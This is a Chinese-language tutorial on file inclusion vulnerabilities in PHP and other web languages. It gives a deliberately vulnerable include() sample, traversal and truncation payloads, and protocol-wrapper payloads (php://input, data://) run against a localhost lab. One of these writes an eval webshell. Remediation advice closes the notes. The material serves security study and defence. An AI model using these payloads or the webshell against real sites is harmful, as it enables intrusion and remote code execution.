原理
文件包含就是一个文件里面包含另外一个文件。在很多编程语言中,程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
文件包含漏洞可以将一些文件内容当做相应的脚本代码进行执行
检测
白盒:进行代码审计
黑盒:漏扫工具、公开漏洞、手工看参数值和功能点
文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
PHP:
include(),include_once()
require(),require_once()
#include file="1.asp" ---asp文件
#include file="top.aspx" aspx文件
<c:import url="http://thief.one/1.jsp">--远程jsp文件
<jsp:include page="head.jsp"/>--本地jsp文件
<%@ include file="head.jsp"%>jsp文件
<?php include('test.php')?>php文件
本地包含-无限制,有限制
无限制
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8000/include.php?filename=../../../www.txt 3级目录
简单复现:
php代码:
include.php
<?php
$file=$_GET['filename'];
include($file);
?>
shell.txt
<?php
phpinfo();
?>
有限制
include($file.".html");//强制加后缀
00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
http://127.0.0.1:8080/include.php?filename=../../../www.txt%00
长度截断:条件:windows,点号需要长于256;linux长于4096
远程包含-无限制,有限制
包含开关
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
各种协议流玩法
php://
1.读取文件源码用法
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]
2.执行php代码用法
http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
3.写入一句话木马用法
http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
data://
执行php代码用法
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
http://127.0.0.1:8080/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
file://
1.file://[文件的绝对路径和文件名]
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
2.[文件的相对路径和文件名]
http://127.0.0.1:8080/include.php?filename=./phpinfo.txt
其他参考:https://www.cnblogs.com/endust/p/11804767.html
文件包含修复方案:
固定后缀
include($file.".html");
当参数file为shell.txt时,被包含的是shell.txt.html,文件找不到无法被执行
固定文件
不给变量的机会,直接包含开发者需要的文件
include "file.php";
固定路径(本地)
include “include/$filename”;
使攻击方不能随意的决定路径,只能在include文件夹中包含文件,如果在其他地方出现了文件上传漏洞,导致上传了webshell文件到文件夹中,但并不是上传到了include文件夹中,所以难以包含webshell文件,无法执行webshell文件
白名单
if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
include "$filename";